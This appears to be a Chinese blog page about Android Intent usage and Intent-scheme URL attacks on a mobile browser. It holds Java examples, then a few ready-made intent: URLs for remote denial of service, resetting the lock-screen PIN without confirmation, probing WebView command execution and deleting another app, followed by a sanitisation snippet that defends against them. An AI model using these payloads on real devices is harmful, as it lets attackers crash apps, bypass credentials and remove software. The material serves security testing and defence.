赞
踩
- public class MainActivity extends ActionBarActivity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- }
-
- public void onClicked(View view){
- Intent intent = new Intent(this, SecondActivity.class);
- //intent.setClassName(this,"cn.pc.activity.SecondActivity"); //非初始化显示调用
- //intent.setClassName("cn.pc.activit.FirstActivity","cn.pc.activity.SecondActivity")
- startActivity(intent);
- }
- }
- public class MainActivity extends ActionBarActivity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.activity_main);
- }
- public void onClicked(View view){
-
- Intent intent = new Intent();
- intent.setAction("com.pc.testintent.SecondActivity");
- intent.addCategory("android.intent.category.DEFAULT");
-
- startActivity(intent);
-
- }
- }
- Intent intent = new Intent();
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- startActivity(intent);
- 手机qq浏览器的例子,根据响应的app意图构造响应的测试用例
- qq远程拒绝服务
- intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end
- 重置PIN码,相当于越权
- intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;end
- 检测是否有命令执行漏洞
- intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end
- 删除其他应用
- intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end
- // convert intent scheme URL to intent object
- Intent intent = Intent.parseUri(uri);
- // forbid launching activities without BROWSABLE category
- intent.addCategory("android.intent.category.BROWSABLE");
- // forbid explicit call
- intent.setComponent(null);
- // forbid intent with selector intent
- intent.setSelector(null);
- // start the activity by the intent
- context.startActivityIfNeeded(intent, -1)
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。